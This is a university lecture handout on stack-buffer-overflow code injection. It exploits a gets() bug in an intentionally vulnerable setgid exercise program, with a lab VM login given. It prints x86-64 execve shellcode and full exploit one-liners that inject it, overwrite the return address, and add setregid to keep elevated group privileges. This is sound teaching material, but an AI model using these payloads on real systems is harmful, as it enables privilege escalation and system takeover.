Code Injection

G. Lettieri

12 October 2022

1 Introduction

Probably the most important attack vectors are opened by memory-corruption bugs in programs. Attackers can exploit these bugs to overwrite strategic locations in the victim process memory, and this often leads to a complete take-over of the process and its credentials.

In this lecture we explore a set of classical techniques that exploit stack memory corruption to both inject new code into the victim process, and redirect the process execution to the injected code.

Our running example will be the `stack-4.5` program from a set of exercises adapted from the Phoenix virtual machine[1]. The exercise is installed in VM which you can reach via `ssh`:

```
ssh -p 4422 stack4.5@lettieri.iet.unipi.it
```

The password is `stack4.5`. Your goal is to read the `flag.txt` file.

2 Analyzing the bug

The attack is possible because the victim program contains a bug, which the attacker must identify. Bugs can be found by studying the source code, when available, but it is also possible to find bugs in programs that are distributed in binary-only form. The attacker can study the machine code with a disassembler or decompiler, or she can trying to feed input into the program and try to make it crash. A "Segmentation Fault" error is a sure indication of a memory corruption bug, which can then be further analyzed to look for possible exploitation.

In our example we are given the source code and the bug is easy to spot: the `start_level()` function uses the deprecated `gets()` function, which reads bytes from standard input and copies them into a buffer, stopping at the first "`\n`" character. The function doesn't know the size of the buffer, and therefore anybody who controls standard input can easily cause a write past the end of the buffer. There is no way to use this function correctly, and this is why it has been deprecated in the C99 standard and then removed from the C11 standard.

[1] `http://exploit.education/phoenix/`

Modern libraries may still implement it, but you have to declare it by yourself, and the compiler will still issue a warning if you use it.

Let's analyze the situation from an attacker point of view. These kind of bugs allow us to overwrite the process memory, starting from the address of `buffer` and going up, with almost any byte we want. I say "almost", because there may be limitations on the bytes that can be injected, depending on the exact nature of the bug. In our example, `gets()` will stop at the fist byte that contains `0x0a` (ASCII value of newline), replacing it with a null byte. Therefore, we must avoid `0x0a` bytes in the middle of the sequence of bytes that we want to inject. Note, however, that `gets()` will copy *any* other byte, including null bytes, *verbatim* into the process memory. Errors in string functions, instead, usually make it hard to inject null bytes.

Note also that we cannot just overwrite any byte that we want: we can only modify the bytes at non-negative offsets from `buffer`. Moreover, if we want to modify a byte at offset $o > 1$, we also need to overwrite *all* the bytes at offsets between 0 and $o - 1$. We also cannot exploit address wrap-around to overwrite bytes at addresses lower than `buffer`, since the process address space contains non-accessible pages at high addresses, reserved to the kernel. If `gets()` starts writing into those addresses, the process is immediately killed. We also cannot overwrite the existing code of the process, both because it is located at lower addresses than the stack, and because it is write-protected. In essence, we can only overwrite the process stack below `buffer`.

3 The attack strategy

We want to keep the process alive and just change its program, so that we can execute our code with the process credentials.

The classical attack that we are going to mount will exploit the `gets()` bug to both inject attacker code into the process stack, and to overwrite the *return address* of `start_level()` with the address of the injected code. When the process will execute the **`ret`** instruction to return from `start_level()` to its caller, execution will instead jump to the attacker code.

There are several conditions that make this attack possible. Among them:

- `start_level()`'s return address is stored on the stack, at an address higher than `buffer` (that is, within the memory that we can overwrite);
- the data contained on the stack between `buffer` and the return address is not important (therefore, we can overwrite it without worrying about its contents);
- the CPU must be able to fetch instructions from the addresses where the injected code has been copied.

We will see that many modern mitigations try to block this attack by removing at least one of these necessary conditions. In particular, in order to simplify the solution of the exercise, `stack4.5` explicitly disables one of these mitigations by marking the `gbuf` buffer as executable. In later lectures we will see both how these mitigations work, and how attackers can bypass them without any “help” from the victim program.

To mount this attack we need a couple of data:

- The offset between the stored return address and `buffer`; we need this because we need to know how many bytes to inject before `gets()` will start overwriting the stored return address;

- The absolute address of the injected code in the process memory; this is the value we want to overwrite the stored return address with; we need an *absolute* address, since this is what **`ret`** needs.

4 The shellcode

We also need to decide what code we want to inject. The most useful code is, as always, one that gives us a shell. For this reason injected code is usually called “shellcode”, even when it doesn’t involve the shell at all.

The shellcode that we will inject will be equivalent to the following C snippet:

```
char *argv[] = { "sh", NULL };
execve("/bin/sh", argv, NULL);
```

There are tools that contain pre-build shellcodes for almost any need. The one in Figure 1 is obtained using the `shellcraft` command from the `pwntools` library. The command used to obtain the code is

```
shellcraft -n -f asm amd64.linux.sh
```

The last argument is the kind of shellcode that we want (a list of all available shellcodes can be obtained with `shellcraft -l`). In this case, it is the code to exec a shell on a 64 bit linux system. The first argument (`-n`) asks to select a code that does not contain newline bytes[2]. The second argument (`-f asm`) selects the output format.

The code builds the `argv` vector and the necessary strings on the stack, then calls the `execve` system call. In 64 bit systems, the Linux kernel can be entered by putting the desired syscall number in **`rax`** and then issuing the `syscall` instruction. Any parameters to the syscall must be left into the registers, the first one in **`rdi`**, the second one in **`rsi`**, the third one in **`rdx`**. Line 17, for example, is passing `NULL` as the third parameter (the pointer to the environment).

The code in Figure 1 is convoluted because it written to avoid null bytes, even if we could have allowed them in our `gets()` example. So, for instance, lines 19–20 are equivalent to “**`mov rax,`** `0x3b`”, but this instruction contains null bytes in its binary form and therefore cannot be used. As another example,

[2] This can be omitted, since the default code is already safe with respect to the bytes that must commonly be avoided.

```
    /* push b’/bin///sh\x00’ */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array [’sh\x00’] */
    /* push b’sh\x00’ */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* ’sh\x00’ */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall
```

Figure 1: An example shellcode for 64 bit Linux (Intel syntax).

lines 8–9 are pushing the null terminated `"sh"` string on the stack, but they need to mask and unmask it with `0x01010101` to avoid null bytes in the byte stream.

5 Obtaining the offset

The offset between the return address and the `buffer` can be obtained in several ways. An attacker should know all possible ways, since some of them may not be applicable, or may not be convenient, in all scenarios.

5.1 Running with the debugger

A first option is to run the program in `gdb`, stopping at the instruction that calls `gets()`, and then examine the contents of **`rbp`** and the the contents of **`rdi`** (`p/x $rdi`). The latter one is the address of `buffer`, while the return address is at **`rbp`** `+ 8`. The difference between the two is the offset we are looking for (we can let `gdb` compute it for us: `p $rbp+8-$rdi`).

5.2 Studying the code

If the code is simple, it may be much more convenient to just study the assembler, as obtained by `objdump -d -M intel`. For example, in this case the code of `start_level()` starts with something like:

```
080491e6 <start_level>:
    push   rbp
    mov    rbp,rsp
    add    rsp,0xffffffffffffff80
    lea    rax,[rbp-0x80]
    mov    rdi,rax
    call   401040 <gets@plt>
    ...
```

We can see that the argument that is passed in **`rdi`** before calling `gets()` is obtained by "**`lea rax,`** `[`**`rbp`**`-0x80]`". We know that this is the address of `buffer`, which is therefore `0x80` bytes above **`rbp`**. Since **`rbp`** points one stack-line above the saved return address, the offset is

$$88_{16} + 8 = 136_{10}.$$

5.3 Obtaining a crash dump

If we can inspect a crash dump of the program, however, we have a simpler way to obtain the offset. We can feed the program with a sequence of bytes, making sure that no subsequence corresponds to a valid address, until the program crashes. If the program crashes, it means that a subsequence of our sequence of bytes overwrote the return address: we only need to know which subsequence it was. The crash dump will easily reveal this information: assuming that no subsequence corresponded to a valid address, the program must have crashed either immediately after the execution of the **ret**, while it was trying to jump to the overwritten return address, or during the execution of **ret**, if the overwritten address was not in canonical form. The subsequence, therefore, is either in the **rip** register or still on the top of the stack.

The pwntools library contains the cyclic program that helps in implementing this strategy: it prints on stdout a sequence of bytes that is *non repeating* and very unlikely to contain valid addresses as subsequences. We can feed the output of cyclic into the victim process until it crashes, get the subsequence that overwrote the return address (by examining the crash dump), and finally ask cyclic where the subsequence occurred in its output: this is the offset we are looking for.

Let's go back to our example. To obtain a crash dump (coredump or simply *core* in Unix parlance) we need to enable them, since they are usually disabled by default:

```
ulimit -c unlimited
```

If the program that we want to examine is set-user-id or set-group-id we also need to make a copy of it, since the kernel will not create crash dumps for these programs, as a security measure. The information we are looking for, however, doesn't depend on the setuid/setgid privilege, so we can obtain it from the copy. Since we cannot create files in the home directory in the VM, we move to a temporary directory and copy the program there:

```
cd $(mktemp -d)
cp ~/stack4.5 .
```

Now we try to obtain the core file. This file is by default called core and is created in the current directory. It is a good idea to remove any pre-existing core file, and to make sure that you have write permission in the current directory. Note that the location and the name of the core file can be customized by writing in the /proc/sys/kernel/core_pattern pseudo-file, so it is a good idea to check this file contents if you don't see the core file in the current directory. If the /proc/sys/kernel/core_uses_pid contains non-zero, the pid of the crashed process will be appended to the name of the core file.

Now we can feed the program with a sufficiently long sequence generated by cyclic. We don't know how long the sequence should be, but we can try different values until we succeed[3]

```
cyclic -n 8 200 | ./stack4.5
```

For 64 bit systems we use the -n 8 option to ask for a sequence made of 8-bytes non-repeating subsequences. In this way each subsequence completely

[3] Be careful, however, that if the sequence is too large you may cause a different crash in the gets() itself, which will go past the last address on the stack and will start accessing reserved pages. A crash like this would be of no help.

fills a register or (if the buffer is stack-aligned) a complete stack line. This should make it simpler to recognize the subsequence without being confused by surrounding bytes.

The shell should reply with

```
   Segmentation fault (core dumped)
```

Note the “`(core dumped)`” part of the message: the kernel has created a core file, with the contents of all the registers and the memory of the process at the time of the crash. We can examine the core with `gdb`:

```
   gdb stack4.5 core
```

The debugger will load the contents of the core and let us examine the registers and the memory at the time of the crash. The subsequences generated by `cyclic` are unlikely to be in canonical form, so the overwritten `rip` should still be on the top of the stack. We can print it with `x/xg $rsp`, or with `info frame`, obtaining `0x6161616161616172`. Now we can ask `cyclic` to tell us the offset of this subsequence in its `-n 8` sequence:

```
   cyclic -n 8 -l 0x6161616161616172
```

And we obtain 136, as before.

6 Obtaining the absolute address

This is easy for `stack4.5`, since the program copies the injected code into the global `gbuf` array, whose address can be easily obtained from the (unstripped) binary:

```
   nm stack4.5 | grep gbuf
```

We find that the address is `0x403440`.

Even if the binary is stripped, we can easily study the assembly code, or run the program in the debugger, to discover the destination address of the `memcpy` in `start_level()`.

7 Obtaining a shell

We are now ready to attack the original `stack4.5` program and turn it into a shell. We go back to our home and type:

```
  {
    shellcraft -n -f raw amd64.linux.sh
    python3 -c ’print("A"*(136-48) + "\x40\x34\x00"[::-1])’
    cat
  } | stack4.5
```

All the commands between the curly braces are executed in a subshell. The pipeline redirects the subshell output into the stdin of the process executing the `stack4.5` program. The first injected bytes come from `shellcraft` and contain the binary code of the assembly shown in Figure 1. These bytes will go at the beginning of `buffer` and will occupy 48 bytes (the number of bytes of the shellcode can be obtained by pipelining the `shellcraft` command into "`wc -c`"). After that, the `python3` command will inject 136−48 more padding bytes, exactly enough to reach the saved return address, which will then be overwritten by the address of `gbuf`. The newline automatically printed by `python3` will make the `gets()` in the target program return to its caller, the `start_level()` function, which will then copy `buffer` into `gbuf` and then execute the **`ret`** instruction on our overwritten return address. The processor will then jump to the start of `gbuf` and start executing our shellcode. The shellcode will cause the process to stop executing `stack4.5` and start executing `/bin/sh`. The process, however, is still the same and, in particular its standard input is still connected, through the pipe, with our subshell. The subshell now executes **`cat`**, thereby connecting the subshell stdin (our terminal) to the stdin of the shell. Note that we don't see the shell prompt: since the stdin of the shell is a pipe, the shell thinks that it has been called in "non interactive" mode and there is no need to prompt a human user. Nonetheless, if we type shell commands at the terminal we can verify that they are actually executed.

8 Obtaining a *useful* shell

In order for this kind of attack to be of any use to us attackers, the obtained shell should run with a user id or group id that was previously unavailble to us. Otherwise, we would have just taken a tortuous road to get a shell equivalent to the one we already had. This is why we are attacking a *setgid* program like `stack4.5`. In this case, we want a shell that runs in a process belonging to the `stack4.5_pwned` group, so that we can read the secret flag.

If we try to read the flag using our new shell, though, we still get a "permission denied" error. If we type `id` in our newly obtained shell we can see that our group has not changed. This, of course, is due to the self-protection implemented in the shell, which has set its effective group id equal to its real group id before starting to accept commands. As we already know, this protection is easily circumvented if we do the reverse operation (setting the real gid equal to the effective gid) before executing the shell. The `shellcraft` tool has a shellcode that does just that (`amd64.linux.setregid`). We can thus inject this code before injecting the shellcode proper:

```
{
  shellcraft -n -f raw amd64.linux.setregid
  shellcraft -n -f raw amd64.linux.sh
  python3 -c 'print("A"*(136-48-16) + "\x40\x34\x00"[::-1])'
  cat
} | stack4.5
```

The new code contains 16 additional bytes, that we have subtracted from the padding generated in `python3`. This time the shell will keep the `stack4.5_pwned` group, allowing us to read the secret flag.